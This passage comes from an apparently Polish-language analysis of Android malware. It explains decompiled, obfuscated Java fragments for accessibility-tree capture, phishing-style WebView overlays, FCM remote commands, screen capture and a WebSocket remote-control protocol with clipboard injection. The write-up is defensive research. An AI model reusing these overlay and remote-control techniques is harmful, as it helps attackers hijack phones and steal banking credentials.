    &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObjectC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rootInActiveWindow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;timestamp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;screenWidth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;screenHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;root&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObjectC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Nakładki i wstrzyknięcia zawartości sieciowej&lt;/h4&gt;
&lt;p&gt;Operator może wyświetlać poprzez moduł adresy URL, zawartość HTML, wygasić ekran lub nałożyć nakładkę:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ImagesContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;j80Var4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;k&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;j80Var5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;black&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j80Var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;overlayManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;j80Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerCase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;loading&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j80Var2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;overlayManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;j80Var2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Zestaw instrukcji FCM wprost wspiera klikalne nakładki i aktualizacje ich zadań:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;show_clickable_overlay&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jSONObjectOptJSONObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;l&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strOptString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ImagesContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Looper&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMainLooper&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;nq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strOptString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dc0Var&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;countDownLatch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;update_overlay_tasks&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;fcmMessageService5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;o&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jSONObjectOptJSONObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;k80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;task_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;package&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ImagesContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="n"&gt;l80VarE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ścieżka nakładek pozwala też na wstrzyknięcie spersonalizowanego JavaScript do zawartości WebView w celu zachowania widoczności pól wprowadzania danych przy otwartej klawiaturze - zachowanie charakterystyczne dla nakładek służacych do przechwytywania danych logowania.&lt;/p&gt;
&lt;h4&gt;Strumieniowanie ekranu i sesje WebSocket&lt;/h4&gt;
&lt;p&gt;Moduł może także poprosić o dostęp do MediaProjection i uruchomić usługę przechwytywania ekranu działającą na pierwszym planie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;startActivityForResult&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;MediaProjectionManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;getSystemService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;media_projection&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;createScreenCaptureIntent&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;2001&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;FCM wspiera też sesje websocketowe:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;enable_ws&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;fcmMessageService5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jSONObjectOptJSONObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Metoda przyjmuje adres websocketu i klucz do API:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strOptString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;session_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;iOptInt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;duration_sec&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;zOptBoolean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optBoolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;video_required&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strOptString2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ws_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strOptString3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ws_api_key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ws_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strOptString2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strOptString3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ws_api_key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strOptString3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Klient websocketowy jest zbudowany na bazie OkHttp i dodaje &lt;code&gt;X-API-Key&lt;/code&gt; gdy jest aktywny:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;OkHttpClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;OkHttpClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;readTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TimeUnit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MILLISECONDS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt; &lt;span class="n"&gt;builderUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;builderUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-API-Key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newWebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;requestBuild&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;af0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ze źródeł można także odczytać protokół kontrolny, poniżej przykłady:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt; -&amp;gt; touch/gesture events&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt; -&amp;gt; key events&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3&lt;/code&gt; -&amp;gt; swipe vector&lt;/li&gt;
&lt;li&gt;&lt;code&gt;15&lt;/code&gt; -&amp;gt; overlay mode (&lt;code&gt;black&lt;/code&gt;, &lt;code&gt;html&lt;/code&gt;, &lt;code&gt;url&lt;/code&gt;, &lt;code&gt;loading&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;18&lt;/code&gt; -&amp;gt; clipboard injection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;22&lt;/code&gt; -&amp;gt; open a settings page&lt;/li&gt;
&lt;li&gt;&lt;code&gt;23&lt;/code&gt; -&amp;gt; launch another application&lt;/li&gt;
&lt;li&gt;&lt;code&gt;24&lt;/code&gt; -&amp;gt; end session&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fragment wspomnianego dekodera:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byteBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;remaining&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;byteBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;byteBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInt&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;black&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
